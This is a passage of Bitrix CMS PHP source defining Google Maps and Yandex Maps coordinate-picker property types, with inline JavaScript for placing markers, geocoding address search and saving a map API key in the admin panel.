'CONTROLS' => array('LARGE_MAP_CONTROL', 'HTYPECONTROL', 'MINIMAP', 'SCALELINE', 'SMALL_ZOOM_CONTROL'),
'MAP_WIDTH' => '95%',
'MAP_HEIGHT' => 400,
'MAP_ID' => $MAP_ID,
'DEV_MODE' => 'Y',
'API_KEY' => $apiKey
),
false, array('HIDE_ICONS' => 'Y')
);
//http://jabber.bx/view.php?id=17908
?>
<script type="text/javascript">
BX.ready(function(){
var tabArea = BX.findParent(BX("BX_GMAP_<?=$MAP_ID?>"), {className: "adm-detail-content"});
if (tabArea && tabArea.id)
{
var tabButton = BX("tab_cont_" + tabArea.id);
BX.bind(tabButton, "click", function() { BXMapGoogleAfterShow("<?=$MAP_ID?>"); });
}
});
<?if($arProperty['MULTIPLE'] == 'N'):?>
function setPointValue_<?echo $MAP_ID?>(obPoint)
{
if (null == window.obPoint_<?echo $MAP_ID?>__n0_)
{
window.obPoint_<?echo $MAP_ID?>__n0_ = new google.maps.Marker({
position: obPoint.latLng,
map: window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'],
draggable:true
});
google.maps.event.addListener(window.obPoint_<?echo $MAP_ID?>__n0_, "dragend", updatePointPosition_<?echo $MAP_ID?>__n0_);
}
else
{
window.obPoint_<?echo $MAP_ID?>__n0_.setPosition(obPoint.latLng);
}
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
BX('point_control_<?echo $MAP_ID?>__n0_').style.display = 'inline-block';
updatePointPosition_<?echo $MAP_ID?>__n0_(obPoint);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(obPoint_<?echo $MAP_ID?>__n0_.getPosition());
}
<?else:?>
function setPointValue_<?echo $MAP_ID?>(obPoint)
{
var i = 0, point = [], k = [];
while (BX('point_<?echo $MAP_ID?>__n' + i + '_lat'))
{
if(BX('point_<?echo $MAP_ID?>__n' + i + '_lat').value == ''
&& BX('point_<?echo $MAP_ID?>__n' + i + '_lon')
&& BX('point_<?echo $MAP_ID?>__n' + i + '_lon').value == '')
{
k.push(i);
}
i++;
}
if (k.length <= 1)
{
window.addNewRow(BX('point_<?echo $MAP_ID?>__n0_lat').parentNode.parentNode.parentNode.parentNode.id);
}
k = (k.length) ? Math.min.apply(null, k) : i;
var obPnt = 'obPoint_<?echo $MAP_ID?>__n'+k+'_',
updPP = 'updatePointPosition_<?echo $MAP_ID?>__n'+k+'_';
if(window[updPP])
{
window[obPnt] = null;
window[obPnt] = new google.maps.Marker({
position: obPoint.latLng,
map: window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'],
draggable:true
});
google.maps.event.addListener(window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_, "dragend", updatePointPosition_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_);
window[updPP](obPoint);
}
BX('point_control_<?echo $MAP_ID?>__n'+k+'_').style.display = 'inline-block';
updateMapHint_<?echo $MAP_ID?>();
}
<?endif;?>
function updateMapHint_<?echo $MAP_ID?>()
{
var noValue = true,
i = 0;
while (BX('point_<?echo $MAP_ID?>__n' + i + '_lat'))
{
if (BX('point_<?echo $MAP_ID?>__n' + i + '_lat').value !== '' || !BX('point_<?echo $MAP_ID?>__n' + i + '_lon') || BX('point_<?echo $MAP_ID?>__n' + i + '_lon').value !=='')
noValue = false;
i++;
}
if (noValue)
{
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'block';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'none';
}
else
{
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
}
}
</script>
<div id="bx_address_search_control_<?echo $MAP_ID?>" style="display: none;margin-top:15px;"><?echo GetMessage('IBLOCK_PROP_MAP_GOOGLE_SEARCH')?><input type="text" name="bx_address_<?echo $MAP_ID?>" id="bx_address_<?echo $MAP_ID?>" value="" style="width: 300px;" autocomplete="off" /></div>
<br />
<?
}
?>
<input type="text" style="width:125px;margin:0 0 4px" name="point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lat" id="point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lat" onchange="setInputPointValue_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()" />, <input type="text" style="width:125px;margin:0 15px 4px 0;" name="point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lon" id="point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lon" onchange="setInputPointValue_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()" />
<div id="point_control_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_" style="display:none;margin:0 0 4px"><a href="javascript:void(0);" onclick="findPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()"><?echo GetMessage('IBLOCK_PROP_MAP_GOOGLE_GOTO_POINT')?></a> | <a href="javascript:void(0);" onclick="if (confirm('<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_GOOGLE_REMOVE_POINT_CONFIRM'))?>')) removePoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()"><?echo GetMessage('IBLOCK_PROP_MAP_GOOGLE_REMOVE_POINT')?></a></div><br />
<input type="text" style="display:none;" id="value_<?echo $MAP_ID;?>__n<?=$googleMapLastNumber?>_" name="<?=htmlspecialcharsbx($strHTMLControlName["VALUE"])?>" value="<?=htmlspecialcharsEx($value["VALUE"])?>" />
<script>
window.jsAdminGoogleMess = {
nothing_found: '<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_GOOGLE_NOTHING_FOUND'))?>'
}
BX.loadCSS('/bitrix/components/bitrix/map.google.view/settings/settings.css');
function BXWaitForMap_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()
{
if (!window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'])
setTimeout(BXWaitForMap_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_, 300);
else
{
if(!window.markersBounds_<?echo $MAP_ID?>)
window.markersBounds_<?echo $MAP_ID?> = new google.maps.LatLngBounds();
window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_ = null;
google.maps.event.clearListeners(window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'], 'dblclick');
google.maps.event.addListener(window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'], 'dblclick', window.setPointValue_<?echo $MAP_ID?>);
var searchInput = BX('bx_address_<?echo $MAP_ID?>');
BX.bind(searchInput,"keydown", jsGoogleCESearch_<?echo $MAP_ID;?>.setTypingStarted);
BX.bind(searchInput,"contextmenu", jsGoogleCESearch_<?echo $MAP_ID;?>.setTypingStarted);
BX('point_control_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_').style.display = 'none';
<?if ($bHasValue):?>
setPointValue_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_({latLng: new google.maps.LatLng(<?echo $POINT_LAT?>, <?echo $POINT_LON?>)});
window.markersBounds_<?echo $MAP_ID?>.extend(new google.maps.LatLng(<?echo $POINT_LAT?>, <?echo $POINT_LON?>));
if (<?=$googleMapLastNumber?> > 0)
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].setCenter(window.markersBounds_<?echo $MAP_ID?>.getCenter(), window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].fitBounds(window.markersBounds_<?echo $MAP_ID?>));
<?endif;?>
BX('bx_address_search_control_<?echo $MAP_ID?>').style.display = 'block';
BX('bx_map_hint_<?echo $MAP_ID?>').style.display = 'block';
}
}
function findPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()
{
if (null != window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_)
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_.getPosition());
}
function removePoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()
{
window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_.setMap(null);
window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_ = null;
BX('point_control_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_').style.display = 'none';
updatePointPosition_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_();
updateMapHint_<?echo $MAP_ID?>();
}
function setPointValue_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? {latLng: new google.maps.LatLng(obEvent[0], obEvent[1])} : {latLng: new google.maps.LatLng(obEvent.latLng.lat(), obEvent.latLng.lng())};
if (null == window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_)
{
window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_ = new google.maps.Marker({
position: obPoint.latLng,
map: window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'],
draggable:true
});
google.maps.event.addListener(window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_, "dragend", updatePointPosition_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_);
}
else
{
window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_.setPosition(obPoint.latLng);
}
BX('point_control_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_').style.display = 'inline-block';
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
updatePointPosition_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_(obPoint);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_.getPosition());
}
function setInputPointValue_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_()
{
var vv = [BX('point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lat').value, BX('point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lon').value];
if (vv[0] == '' && vv[1] == '')
{
removePoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_();
}
var v = [parseFloat(BX('point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lat').value), parseFloat(BX('point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lon').value)];
if (!isNaN(v[0]) && !isNaN(v[1]))
{
setPointValue_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_(v);
}
}
function updatePointPosition_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_(obPoint)
{
var obP = [];
if (!!obPoint && !!obPoint.latLng)
obP.push(obPoint.latLng.lat(), obPoint.latLng.lng());
else if (!!window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_)
obP.push(window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_.latLng.lat(), window.obPoint_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_.latLng.lng());
else
obP = null;
var obInput = BX('value_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_');
obInput.value = null == obP ? '' : obP[0] + ',' + obP[1];
BX('point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lat').value = obP ? obP[0] : '';
BX('point_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_lon').value = obP ? obP[1] : '';
}
BX.ready(function(){
setTimeout(BXWaitForMap_<?echo $MAP_ID?>__n<?=$googleMapLastNumber?>_, 100);
});
var jsGoogleCESearch_<?echo $MAP_ID;?> = {
bInited: false,
map: null,
geocoder: null,
obInput: null,
timerID: null,
timerDelay: 1000,
arSearchResults: [],
obOut: null,
__init: function(input)
{
if (jsGoogleCESearch_<?echo $MAP_ID;?>.bInited) return;
jsGoogleCESearch_<?echo $MAP_ID;?>.map = window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'];
jsGoogleCESearch_<?echo $MAP_ID;?>.obInput = input;
//input.form.onsubmit = function() {jsGoogleCESearch_<?echo $MAP_ID;?>.doSearch(); return false;}
input.onfocus = jsGoogleCESearch_<?echo $MAP_ID;?>.showResults;
input.onblur = jsGoogleCESearch_<?echo $MAP_ID;?>.hideResults;
jsGoogleCESearch_<?echo $MAP_ID;?>.bInited = true;
},
setTypingStarted: function(e)
{
if (null == e)
e = window.event;
if (e.keyCode == 13)
{
jsGoogleCESearch_<?echo $MAP_ID;?>.doSearch();
return false;
}
else
{
if (!jsGoogleCESearch_<?echo $MAP_ID;?>.bInited)
jsGoogleCESearch_<?echo $MAP_ID;?>.__init(this);
if (e.type=="contextmenu")
jsGoogleCESearch_<?echo $MAP_ID;?>.timerDelay=3000;
else
jsGoogleCESearch_<?echo $MAP_ID;?>.timerDelay=1000;
jsGoogleCESearch_<?echo $MAP_ID;?>.hideResults();
if (null != jsGoogleCESearch_<?echo $MAP_ID;?>.timerID)
clearTimeout(jsGoogleCESearch_<?echo $MAP_ID;?>.timerID);
jsGoogleCESearch_<?echo $MAP_ID;?>.timerID = setTimeout(jsGoogleCESearch_<?echo $MAP_ID;?>.doSearch, jsGoogleCESearch_<?echo $MAP_ID;?>.timerDelay);
}
},
doSearch: function()
{
var value = jsUtils.trim(jsGoogleCESearch_<?echo $MAP_ID;?>.obInput.value);
if (value.length > 1)
{
if (null == jsGoogleCESearch_<?echo $MAP_ID;?>.geocoder)
jsGoogleCESearch_<?echo $MAP_ID;?>.geocoder = new google.maps.Geocoder();
jsGoogleCESearch_<?echo $MAP_ID;?>.geocoder.geocode({
address: value,
language: '<?=LANGUAGE_ID?>'
}, jsGoogleCESearch_<?echo $MAP_ID;?>.__searchResultsLoad);
}
},
handleError: function()
{
alert(jsGoogleCE.jsMess.mess_error);
},
setResultsCoordinates: function()
{
var obPos = jsUtils.GetRealPos(jsGoogleCESearch_<?echo $MAP_ID;?>.obInput);
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut.style.top = (obPos.bottom + 2) + 'px';
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut.style.left = obPos.left + 'px';
},
__generateOutput: function()
{
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut = document.body.appendChild(document.createElement('UL'));
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut.className = 'bx-google-address-search-results';
jsGoogleCESearch_<?echo $MAP_ID;?>.setResultsCoordinates();
},
__searchResultsLoad: function(obResult, status)
{
var _this = jsGoogleCESearch_<?echo $MAP_ID;?>;
if (status != google.maps.GeocoderStatus.OK && status != google.maps.GeocoderStatus.ZERO_RESULTS)
{
_this.handleError({message: status});
return;
}
if (!obResult)
{
_this.handleError();
}
else
{
if (null == _this.obOut)
_this.__generateOutput();
_this.obOut.innerHTML = '';
_this.clearSearchResults();
var len = 0;
if (status == google.maps.GeocoderStatus.OK)
{
len = obResult.length;
var obList = null;
}
if (len > 0)
{
for (var i = 0; i < len; i++)
{
_this.arSearchResults[i] = obResult[i].geometry;
var lnk_text = '';
for (var j = 0; j < obResult[i].address_components.length; j++)
{
lnk_text += (lnk_text.length > 0 ? ', ' : '') + obResult[i].address_components[j].long_name;
}
_this.obOut.appendChild(BX.create('LI', {
attrs: {className: i == 0 ? 'bx-google-first' : ''},
children: [
BX.create('A', {
attrs: {href: "javascript:void(0)"},
props: {BXSearchIndex: i},
events: {click: _this.__showSearchResult},
children: [
BX.create('SPAN', {
text: lnk_text
})
]
})
]
}));
}
}
else
{
_this.obOut.innerHTML = '<li class="bx-google-notfound">' + window.jsAdminGoogleMess.nothing_found + '</li>';
}
_this.showResults();
}
},
__showSearchResult: function()
{
if (null !== this.BXSearchIndex)
{
jsGoogleCESearch_<?echo $MAP_ID;?>.map.setCenter(jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults[this.BXSearchIndex].location);
if (jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults[this.BXSearchIndex].viewport)
jsGoogleCESearch_<?echo $MAP_ID;?>.map.fitBounds(jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults[this.BXSearchIndex].viewport);
}
},
showResults: function()
{
if (null != jsGoogleCESearch_<?echo $MAP_ID;?>.obOut)
{
jsGoogleCESearch_<?echo $MAP_ID;?>.setResultsCoordinates();
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut.style.display = 'block';
}
},
hideResults: function()
{
if (null != jsGoogleCESearch_<?echo $MAP_ID;?>.obOut)
{
setTimeout("jsGoogleCESearch_<?echo $MAP_ID;?>.obOut.style.display = 'none'", 300);
}
},
clearSearchResults: function()
{
for (var i = 0; i < jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults.length; i++)
{
delete jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults[i];
}
jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults = [];
},
clear: function()
{
if (!jsGoogleCESearch_<?echo $MAP_ID;?>.bInited)
return;
jsGoogleCESearch_<?echo $MAP_ID;?>.bInited = false;
if (null != jsGoogleCESearch_<?echo $MAP_ID;?>.obOut)
{
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut.parentNode.removeChild(jsGoogleCESearch_<?echo $MAP_ID;?>.obOut);
jsGoogleCESearch_<?echo $MAP_ID;?>.obOut = null;
}
jsGoogleCESearch_<?echo $MAP_ID;?>.arSearchResults = [];
jsGoogleCESearch_<?echo $MAP_ID;?>.map = null;
jsGoogleCESearch_<?echo $MAP_ID;?>.geocoder = null;
jsGoogleCESearch_<?echo $MAP_ID;?>.obInput = null;
jsGoogleCESearch_<?echo $MAP_ID;?>.timerID = null;
}
}
</script>
<?
$out = ob_get_contents();
ob_end_clean();
if ($arProperty['MULTIPLE'] == 'Y')
$googleMapLastNumber++;
return $out;
}
public static function GetPublicViewHTML($arProperty, $value, $arParams)
{
$s = '';
if(strlen($value["VALUE"])>0)
{
$value = parent::ConvertFromDB($arProperty, $value);
if ($arParams['MODE'] == 'CSV_EXPORT')
{
$s = $value["VALUE"];
}
else
{
$googleMapLastNumber = 0;
$apiKey = isset($arProperty['USER_TYPE_SETTINGS']['API_KEY']) ? $arProperty['USER_TYPE_SETTINGS']['API_KEY'] : '';
$arCoords = explode(',', $value['VALUE']);
ob_start();
$GLOBALS['APPLICATION']->IncludeComponent(
'bitrix:map.google.view',
'',
array(
'MAP_DATA' => serialize(array(
'google_lat' => $arCoords[0],
'google_lon' => $arCoords[1],
'PLACEMARKS' => array(
array(
'LON' => $arCoords[1],
'LAT' => $arCoords[0],
),
),
)),
'MAP_ID' => 'MAP_GOOGLE_VIEW_'.$arProperty['IBLOCK_ID'].'_'.$arProperty['ID'].'__n'.$googleMapLastNumber.'_',
'DEV_MODE' => 'Y',
'API_KEY' => $apiKey
),
false, array('HIDE_ICONS' => 'Y')
);
$s .= ob_get_contents();
ob_end_clean();
}
}
return $s;
}
}
class CIBlockPropertyMapYandex extends CIBlockPropertyMapInterface
{
public static function GetUserTypeDescription()
{
return array(
"PROPERTY_TYPE" => "S",
"USER_TYPE" => "map_yandex",
"DESCRIPTION" => GetMessage("IBLOCK_PROP_MAP_YANDEX"),
"GetPropertyFieldHtml" => array(__CLASS__, "GetPropertyFieldHtml"),
"GetPublicViewHTML" => array(__CLASS__, "GetPublicViewHTML"),
"GetPublicEditHTML" => array(__CLASS__, "GetPublicEditHTML"),
"ConvertToDB" => array(__CLASS__, "ConvertToDB"),
"ConvertFromDB" => array(__CLASS__, "ConvertFromDB"),
"GetSettingsHTML" => array(__CLASS__, "GetSettingsHTML"),
"PrepareSettings" => array(__CLASS__, "PrepareSettings"),
);
}
public static function _DrawKeyInputControl($MAP_ID, $strDomain)
{
echo BeginNote();
?>
<div id="key_input_control_<?echo $MAP_ID?>">
<?echo str_replace('#DOMAIN#', $strDomain, GetMessage('IBLOCK_PROP_MAP_YANDEX_NO_KEY_MESSAGE'))?><br /><br />
<?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_NO_KEY')?><input type="text" name="map_yandex_key_<?echo $MAP_ID?>" id="map_yandex_key_<?echo $MAP_ID?>" /> <input type="button" value="<?echo htmlspecialcharsbx(GetMessage('IBLOCK_PROP_MAP_YANDEX_NO_KEY_BUTTON'))?>" onclick="setYandexKey('<?echo $strDomain?>', 'map_yandex_key_<?echo $MAP_ID?>')" /> <input type="button" value="<?echo htmlspecialcharsbx(GetMessage('IBLOCK_PROP_MAP_YANDEX_SAVE_KEY_BUTTON'))?>" onclick="saveYandexKey('<?echo $strDomain?>', 'map_yandex_key_<?echo $MAP_ID?>')" />
</div>
<div id="key_input_message_<?echo $MAP_ID?>" style="display: none;"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_NO_KEY_OKMESSAGE')?></div>
<?
echo EndNote();
?>
<script type="text/javascript">
function setYandexKey(domain, input)
{
LoadMap_<?echo $MAP_ID?>(document.getElementById(input).value);
}
function saveYandexKey(domain, input)
{
var value = document.getElementById(input).value;
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
if (result == 'OK')
{
document.getElementById('key_input_control_<?echo $MAP_ID?>').style.display = 'none';
document.getElementById('key_input_message_<?echo $MAP_ID?>').style.display = 'block';
if (!window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'])
setYandexKey(domain, input);
}
else
alert('<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_YANDEX_NO_KEY_ERRORMESSAGE'))?>');
}
var data = 'key_type=yandex&domain=' + domain + '&key=' + value + '&<?echo bitrix_sessid_get()?>';
ShowWaitWindow();
CHttpRequest.Post('/bitrix/admin/settings.php?lang=<?echo LANGUAGE_ID?>&mid=fileman&save_map_key=Y', data);
}
</script>
<?
} // _DrawKeyInputControl()
public static function GetSettingsHTML($arProperty, $strHTMLControlName, &$arPropertyFields)
{
$arPropertyFields = array(
'HIDE' => array('ROW_COUNT', 'COL_COUNT', 'SMART_FILTER', 'FILTRABLE', 'SEARCHABLE'),
'SET' => array('SMART_FILTER' => 'N', 'FILTRABLE' => 'N', 'SEARCHABLE' => 'N')
);
return '';
}
public static function PrepareSettings($arProperty)
{
$arProperty['SMART_FILTER'] = 'N';
$arProperty['FILTRABLE'] = 'N';
$arProperty['SEARCHABLE'] = 'N';
$arProperty['USER_TYPE_SETTINGS'] = array();
return $arProperty;
}
public static function GetPropertyFieldHtml($arProperty, $value, $strHTMLControlName)
{
global $APPLICATION;
static $yandexMapLastNumber = 0;
static $yandexMapID = '';
if (($arProperty['MULTIPLE'] == 'Y' && $yandexMapID !== $arProperty['ID']) || $arProperty['MULTIPLE'] == 'N')
$yandexMapLastNumber = 0;
if ($arProperty['MULTIPLE'] == 'Y')
$yandexMapID = $arProperty['ID'];
// TODO: remove this later to use in property default value setting
if ($strHTMLControlName["MODE"] != "FORM_FILL")
return '<input type="text" name="'.htmlspecialcharsbx($strHTMLControlName['VALUE']).'" value="'.htmlspecialcharsbx($value['VALUE']).'" />';
if (strlen($value['VALUE']) > 0)
{
list($POINT_LAT, $POINT_LON) = explode(',', $value['VALUE'], 2);
$bHasValue = true;
}
else
{
$POINT_LAT = doubleval(GetMessage('IBLOCK_PROP_MAP_YANDEX_INIT_LAT'));
$POINT_LON = doubleval(GetMessage('IBLOCK_PROP_MAP_YANDEX_INIT_LON'));
$bHasValue = false;
}
ob_start();
if ($arProperty['MULTIPLE'] == 'Y' && isset($GLOBALS['YANDEX_MAP_PROPERTY'][$arProperty['ID']]))
{
// property is multimple and map is already showed
$MAP_ID = $GLOBALS['YANDEX_MAP_PROPERTY'][$arProperty['ID']];
}
else
{
$MAP_ID = 'map_yandex_'.$arProperty['CODE'].'_'.$arProperty['ID'];
$GLOBALS['YANDEX_MAP_PROPERTY'][$arProperty['ID']] = $MAP_ID;
?>
<div id="bx_map_hint_<?echo $MAP_ID?>" style="display: none;">
<div id="bx_map_hint_value_<?echo $MAP_ID?>" style="display: <?echo $bHasValue ? 'block' : 'none'?>;">
<?
echo GetMessage('IBLOCK_PROP_MAP_YANDEX_INSTR_VALUE').'<br /><br />';
?>
</div>
<div id="bx_map_hint_novalue_<?echo $MAP_ID?>" style="display: <?echo $bHasValue ? 'none' : 'block'?>;">
<?
echo GetMessage('IBLOCK_PROP_MAP_YANDEX_INSTR').'<br /><br />';
?>
</div>
</div>
<?
$APPLICATION->IncludeComponent(
'bitrix:map.yandex.system',
'',
array(
'INIT_MAP_TYPE' => 'MAP',
'INIT_MAP_LON' => $POINT_LON ? $POINT_LON : 37.64,
'INIT_MAP_LAT' => $POINT_LAT ? $POINT_LAT : 55.76,
'INIT_MAP_SCALE' => 10,
'OPTIONS' => array('ENABLE_SCROLL_ZOOM', 'ENABLE_DRAGGING'),
'CONTROLS' => array('ZOOM', 'MINIMAP', 'TYPECONTROL', 'SCALELINE'),
'MAP_WIDTH' => '95%',
'MAP_HEIGHT' => 400,
'MAP_ID' => $MAP_ID,
'DEV_MODE' => 'Y',
//'ONMAPREADY' => 'BXWaitForMap_'.$MAP_ID
),
false, array('HIDE_ICONS' => 'Y')
);
//http://jabber.bx/view.php?id=17908
?>
<script type="text/javascript">
BX.ready(function(){
var tabArea = BX.findParent(BX("BX_YMAP_<?=$MAP_ID?>"), {className: "adm-detail-content"});
if (tabArea && tabArea.id)
{
var tabButton = BX("tab_cont_" + tabArea.id);
BX.bind(tabButton, "click", function() { BXMapYandexAfterShow("<?=$MAP_ID?>"); });
}
});
<?if($arProperty['MULTIPLE'] == 'N'):?>
function setPointValue_<?echo $MAP_ID?>(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? obEvent : obEvent.get("coordPosition");
if (null == window.obPoint_<?echo $MAP_ID?>__n0_)
{
window.obPoint_<?echo $MAP_ID?>__n0_ = new ymaps.Placemark(obPoint, {}, {draggable:true});
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.add(window.obPoint_<?echo $MAP_ID?>__n0_);
window.obPoint_<?echo $MAP_ID?>__n0_.events.add('dragend', updatePointPosition_<?echo $MAP_ID?>__n0_);
}
else
{
window.obPoint_<?echo $MAP_ID?>__n0_.geometry.setCoordinates(obPoint);
}
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
BX('point_control_<?echo $MAP_ID?>__n0_').style.display = 'inline-block';
updatePointPosition_<?echo $MAP_ID?>__n0_(obPoint);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(obPoint_<?echo $MAP_ID?>__n0_.geometry.getCoordinates(), {delay:0});
}
<?else:?>
function setPointValue_<?echo $MAP_ID?>(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? obEvent : obEvent.get("coordPosition");
var i = 0, point = [], k = [];
while (BX('point_<?echo $MAP_ID?>__n' + i + '_lat'))
{
if(BX('point_<?echo $MAP_ID?>__n' + i + '_lat').value == ''
&& BX('point_<?echo $MAP_ID?>__n' + i + '_lon')
&& BX('point_<?echo $MAP_ID?>__n' + i + '_lon').value == '')
{
k.push(i);
}
i++;
}
if (k.length <= 1)
{
window.addNewRow(BX('point_<?echo $MAP_ID?>__n0_lat').parentNode.parentNode.parentNode.parentNode.id);
}
k = (k.length) ? Math.min.apply(null, k) : i;
var obPnt = 'obPoint_<?echo $MAP_ID?>__n'+k+'_',
updPP = 'updatePointPosition_<?echo $MAP_ID?>__n'+k+'_';
if(window[updPP])
{
window[obPnt] = null;
window[obPnt] = new ymaps.Placemark(obPoint, {}, {draggable:true});
window.GLOBAL_arMapObjects["<?echo $MAP_ID?>"].geoObjects.add(window[obPnt]);
window[obPnt].events.add("dragend", window[updPP]);
window[updPP](obPoint);
}
BX('point_control_<?echo $MAP_ID?>__n'+k+'_').style.display = 'inline-block';
updateMapHint_<?echo $MAP_ID?>();
}
<?endif;?>
function setDefaultPreset_<?echo $MAP_ID?>()
{
if(window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects)
{
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.each(function (geoObject) {
geoObject.options.set({preset: 'twirl#blueIcon'});
});
}
}
function updateMapHint_<?echo $MAP_ID?>()
{
var noValue = true,
i = 0;
while (BX('point_<?echo $MAP_ID?>__n' + i + '_lat'))
{
if (BX('point_<?echo $MAP_ID?>__n' + i + '_lat').value !== '' || !BX('point_<?echo $MAP_ID?>__n' + i + '_lon') || BX('point_<?echo $MAP_ID?>__n' + i + '_lon').value !=='')
noValue = false;
i++;
}
if (noValue)
{
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'block';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'none';
}
else
{
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
}
}
</script>
<div id="bx_address_search_control_<?echo $MAP_ID?>" style="display: none;margin-top:15px;"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_SEARCH')?><input type="text" name="bx_address_<?echo $MAP_ID?>" id="bx_address_<?echo $MAP_ID?>" value="" style="width: 300px;" autocomplete="off" /></div>
<br />
<?
}
?>
